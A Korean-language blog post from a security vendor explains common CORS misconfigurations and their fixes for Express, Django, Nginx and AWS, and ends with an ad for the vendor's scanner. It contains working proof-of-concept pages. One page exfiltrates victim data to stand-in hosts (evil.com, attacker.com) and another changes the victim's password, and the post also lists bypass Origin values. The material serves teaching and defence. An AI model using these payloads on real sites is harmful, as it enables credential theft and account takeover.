剣 KENSAI
리서치 2026년 4월 3일 · 16분 읽기

CORS 설정 오류: 2026년 가장 흔한 버그 바운티 발견 사항

교차 출처 리소스 공유(CORS) 설정 오류는 2026년 승인된 웹 애플리케이션 버그 바운티 발견 사항의 23%를 차지합니다 — XSS, IDOR, SSRF를 모두 합친 것보다 많습니다. 2016년부터 충분히 문서화되어 왔음에도 불구하고, CORS는 개발자가 가장 자주 잘못 다루는 취약점 클래스로 남아 있습니다. 이 심층 분석은 모든 설정 오류 패턴을 다루고, 실제 동작하는 PoC 코드로 실제 익스플로잇 시나리오를 보여주며, 모든 주요 프레임워크와 클라우드 제공업체에 대한 프로덕션 수준의 수정 방법을 제공합니다.


왜 CORS는 2026년에도 여전히 지배적인가

CORS의 역설은 웹에서 가장 잘 문서화된 보안 메커니즘이자 동시에 가장 자주 잘못 설정되는 보안 메커니즘이라는 점입니다. 첫 대규모 공개 이후 10년이 지난 지금도 CORS가 여전히 1위 자리를 지키는 이유는 세 가지 요인으로 설명됩니다:

📊 수치로 보는 현황 (2026년 1분기): HackerOne의 분기 보고서에 따르면 CORS 설정 오류는 승인된 웹 앱 발견 사항의 23.1%를 차지해 1위였으며, 그 뒤를 Broken Access Control(18.7%), XSS(14.2%), IDOR(11.8%), SSRF(8.4%)가 이었습니다. 영향이 입증된 CORS 발견 사항에 대한 평균 바운티 지급액은 2,340달러로, 프로그램들이 실제 익스플로잇 가능성을 점점 더 인식하면서 2025년 대비 45% 상승했습니다.

일곱 가지 CORS 설정 오류 패턴

모든 CORS 설정 오류가 동일한 위험도를 갖는 것은 아닙니다. 다음은 버그 바운티 헌터들이 가장 자주 발견하는 일곱 가지 패턴을, 심각도와 악용 가능성 순으로 정리한 것입니다:

패턴 1: 출처 반사(Origin Reflection) (치명적)

서버가 Origin 요청 헤더 값을 그대로 Access-Control-Allow-Origin 응답 헤더에 반사합니다. 이는 어떤 웹사이트든 취약한 API로부터 인증된 응답을 읽을 수 있게 만들기 때문에 가장 위험한 패턴입니다.


# 공격자가 제어하는 출처에서 보낸 요청
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123

# 취약한 응답 — 공격자의 출처를 그대로 반사함
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"email":"user@company.com","api_key":"sk-prod-..."}

⚠ 이것이 치명적인 이유

만약 Access-Control-Allow-Credentials: true 값이 출처 반사와 결합되면, 공격자의 웹사이트는 인증된 교차 출처 요청을 보내고 그 응답 — 세션 토큰, API 키, 개인정보(PII), 그리고 피해자의 브라우저가 접근할 수 있는 그 밖의 모든 데이터를 포함해서 — 을 읽을 수 있습니다. 이는 사실상 동일 출처 정책(Same-Origin Policy) 전체를 완전히 우회하는 것입니다.

패턴 2: Null 출처 허용목록 등재(Null Origin Allowlisting) (높음)

일부 서버는 설정 오류나 오해로 인해 null 출처를 명시적으로 허용합니다. null 출처는 샌드박스 처리된 iframe, data: URL, 로컬 파일 접근, 교차 출처 리디렉션 등 여러 상황에서 브라우저에 의해 전송됩니다.


# 공격자가 이 HTML 페이지를 제공함
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,
  <script>
    fetch('https://api.target.com/api/user/data', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(d => {
      // 공격자 서버로 데이터 유출
      navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
    });
  </script>">
</iframe>

패턴 3: 출처 검증의 정규식 우회(Regex Bypass) (높음)

개발자들은 종종 미묘한 결함을 포함한 정규식 패턴으로 출처 검증을 구현합니다. 가장 흔한 실수는 다음과 같습니다:

의도한 허용 대상 결함이 있는 정규식 우회 출처
*.target.com /target\.com$/ evil-target.com
app.target.com /^https?:\/\/.*target\.com/ target.com.evil.com
*.target.com /\.target\.com$/ evil.com/.target.com (경로 혼동)
target.com만 해당 /target.com/ (이스케이프되지 않은 점) targetXcom.evil.com

패턴 4: 자격 증명이 포함된 와일드카드(Wildcard with Credentials) (중간-높음)

브라우저는 Access-Control-Allow-Origin: * 값을 Access-Control-Allow-Credentials: true 값과 함께 사용할 수 없도록 강제하지만, 다수의 서버 측 프레임워크는 이 조합을 감지해 조용히 출처 반사로 전환함으로써 이를 우회합니다 — 뒷문으로 패턴 1을 만들어내는 셈입니다.

바로 cors npm 패키지(Node.js API의 73%가 사용)가 origin: truecredentials: true 로 설정되었을 때 정확히 이런 동작을 합니다. 와일드카드를 설정한다고 생각하는 개발자들이 실제로는 전면적인 출처 반사를 활성화하고 있는 것입니다.

패턴 5: 프리플라이트 캐시 포이즈닝(Pre-flight Cache Poisoning) (중간)

Access-Control-Max-Age 헤더는 브라우저가 프리플라이트(OPTIONS) 응답을 얼마나 오래 캐시할지를 지정합니다. 서버가 한 요청 경로에는 허용적인 CORS 헤더를 반환하고 다른 경로에는 제한적인 헤더를 반환하는 경우, 공격자는 브라우저가 허용적인 프리플라이트 응답을 캐시하도록 강제한 뒤 이를 제한된 엔드포인트에 재사용하게 만들 수 있습니다.

패턴 6: 서브도메인 신뢰 확대(Subdomain Trust Escalation) (중간)

많은 애플리케이션이 모든 서브도메인으로부터의 CORS를 허용합니다: *.target.com. 이는 전이적(transitive) 신뢰 관계를 만들어내며, 이 경우 어떤 서브도메인에서 발생한 XSS든 — 잊혀진 스테이징 환경, 레거시 애플리케이션, 제3자가 호스팅하는 서브도메인을 포함해서 — 메인 애플리케이션의 API를 공격하는 데 악용될 수 있습니다.

🎯 버그 바운티 팁

만약 *.target.com 을 신뢰하는 CORS 정책을 발견하면, 즉시 서브도메인 전체를 열거하고 그중 어디에든 XSS가 있는지 찾아보세요 — 특히 마케팅 사이트, 상태 페이지, 문서 포털, 고객 지원 도구에서요. blog.target.com 에서 발생한 반사형 XSS는 서브도메인 CORS 신뢰와 결합되면 api.target.com 데이터에 대한 완전한 접근 권한을 제공합니다. 이 공격 체인은 정기적으로 높음/치명적 심각도 등급을 받습니다.

패턴 7: Vary: Origin 헤더 누락(Missing Vary: Origin Header) (낮음-중간)

서버가 요청 출처에 따라 동적으로 Access-Control-Allow-Origin 을 설정하는 경우, 반드시 Vary: Origin 도 함께 포함해야 합니다. 그렇지 않으면 CDN 캐시와 브라우저 캐시가 한 출처의 CORS 헤더가 담긴 응답을 다른 출처의 요청에 그대로 제공할 수 있으며, 이는 간헐적인 접근 제어 실패를 일으킵니다.

실전 익스플로잇: 단계별 공격 시나리오

다음은 CORS 설정 오류가 어떻게 계정 탈취로 이어지는지 보여주는 완전한 익스플로잇 시나리오입니다:

공격 대상

핀테크 애플리케이션이 app.fintech-target.com 에서 운영되며, API는 api.fintech-target.com 에 있습니다. 이 API는 이메일, 전화번호, 프로그램 매매(programmatic trading)에 사용되는 API 키를 포함한 사용자 프로필 데이터를 제공합니다.

취약점

이 API는 자격 증명이 활성화된 상태로 출처 반사(패턴 1)를 사용합니다. /api/v2/account/settings 엔드포인트는 사용자의 API 키를 반환하며, PUT 요청을 통한 비밀번호 변경을 허용합니다.

익스플로잇


<!-- attacker.com에 호스팅되며 피싱 이메일을 통해 링크됨 -->
<html>
<body>
<h1>포트폴리오 분석을 불러오는 중...</h1>
<script>
// 1단계: API 키와 사용자 데이터 탈취
fetch('https://api.fintech-target.com/api/v2/account/settings', {
  credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
  // 2단계: 공격자 서버로 데이터 유출
  await fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      email: data.email,
      api_key: data.api_key,
      phone: data.phone
    })
  });

  // 3단계: 사용자 비밀번호 변경
  await fetch('https://api.fintech-target.com/api/v2/account/settings', {
    method: 'PUT',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      password: 'attacker-controlled-password-2026!'
    })
  });

  // 4단계: 의심을 피하기 위해 정상 사이트로 리디렉션
  window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>

전체 공격은 500밀리초 이내에 실행됩니다. 피해자는 짧은 로딩 화면을 본 뒤 평소와 같은 대시보드를 보게 됩니다. 그동안 공격자는 이미 API 키를 확보하고 비밀번호까지 변경한 상태입니다.

탐지: 대규모로 CORS 설정 오류 찾아내기

자동화된 스캐닝

효과적인 CORS 스캐닝을 위해서는 CORS 헤더를 반환하는 모든 엔드포인트에 대해 여러 출처 조합을 테스트해야 합니다. 다음은 테스트 매트릭스입니다:

테스트 케이스 Origin 헤더 값 반사되면 취약
전면 반사 https://evil.com 예 — 어떤 출처든 허용됨
Null 출처 null 예 — iframe 샌드박스 우회
서브도메인 악용 https://evil.target.com 예 — 서브도메인 패턴이 일치하는 경우
접두사 우회 https://target.com.evil.com 예 — 정규식 결함
접미사 우회 https://evil-target.com 예 — 정규식에 앵커 누락
프로토콜 다운그레이드 http://target.com 예 — HTTPS 전용이 강제되지 않은 경우
특수 문자 https://target.com%60.evil.com 예 — 파서 차이(parser differential)

실무에서 쓰는 도구

프로덕션 적용 가능한 수정 방법

Node.js / Express

const cors = require('cors');

// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));

// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
  'https://app.yoursite.com',
  'https://admin.yoursite.com'
];

app.use(cors({
  origin: (origin, callback) =>  {
    // 출처가 없는 요청 허용 (모바일 앱, curl 등)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      return callback(null, true);
    }
    callback(new Error('CORS policy violation'));
  },
  credentials: true,
  maxAge: 600, // 10분 프리플라이트 캐시
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Python / Django


# settings.py

# ❌ 잘못된 예
CORS_ALLOW_ALL_ORIGINS = True

# ✅ 올바른 예
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
    "https://app.yoursite.com",
    "https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600

Nginx


# ❌ 잘못된 예 — Origin 헤더를 그대로 반사함
add_header 'Access-Control-Allow-Origin' $http_origin always;

# ✅ 올바른 예 — map 기반 허용 목록
map $http_origin $cors_origin {
    default "";
    "https://app.yoursite.com" $http_origin;
    "https://admin.yoursite.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin = "") {
            return 403;
        }
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Vary' 'Origin' always;

        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
            add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
            add_header 'Access-Control-Max-Age' 600;
            add_header 'Content-Length' 0;
            return 204;
        }
    }
}

AWS API Gateway / CloudFront


# AWS CDK / CloudFormation
CorsConfiguration:
  AllowOrigins:
    - "https://app.yoursite.com"
    - "https://admin.yoursite.com"
  AllowMethods:
    - GET
    - POST
    - PUT
    - DELETE
  AllowHeaders:
    - Content-Type
    - Authorization
  AllowCredentials: true
  MaxAge: 600

# ⚠ 경고: AllowOrigins: ["*"] 를 AllowCredentials: true 와 함께 사용하지 마세요
# AWS는 이를 조용히 출처 반사로 변환합니다

API 우선 아키텍처 시대의 CORS

API 우선 아키텍처로의 전환은 CORS 지형을 근본적으로 바꾸어 놓았습니다. 2020년에는 일반적인 웹 애플리케이션이 3~5개 서비스 정도에만 교차 출처 요청을 보냈습니다. 2026년에는 마이크로서비스, 서버리스 함수, 서드파티 API 통합 위에 구축된 애플리케이션이 일상적으로 수십 개에 달하는 출처로 교차 출처 요청을 보냅니다.

이러한 복잡성은 여러 아키텍처적 대응을 이끌어내고 있습니다:

CORS 설정 오류 예방 체크리스트

개발자와 보안 팀을 위한 체크리스트 — 애플리케이션에서 각 항목을 확인하세요:

핵심 요약

지금 바로 API의 CORS 설정 오류를 스캔하세요

KENSAI는 서브도메인 신뢰 체인, 정규식 우회, CDN 계층 재정의를 포함해 전체 API 표면에서 일곱 가지 CORS 설정 오류 패턴을 모두 자동으로 탐지합니다. 며칠이 아닌 몇 분 만에 첫 스캔 결과를 확인하세요.

무료 CORS 감사 시작하기 →

KENSAI 리서치 · 2026년 4월 3일

📚 관련 기사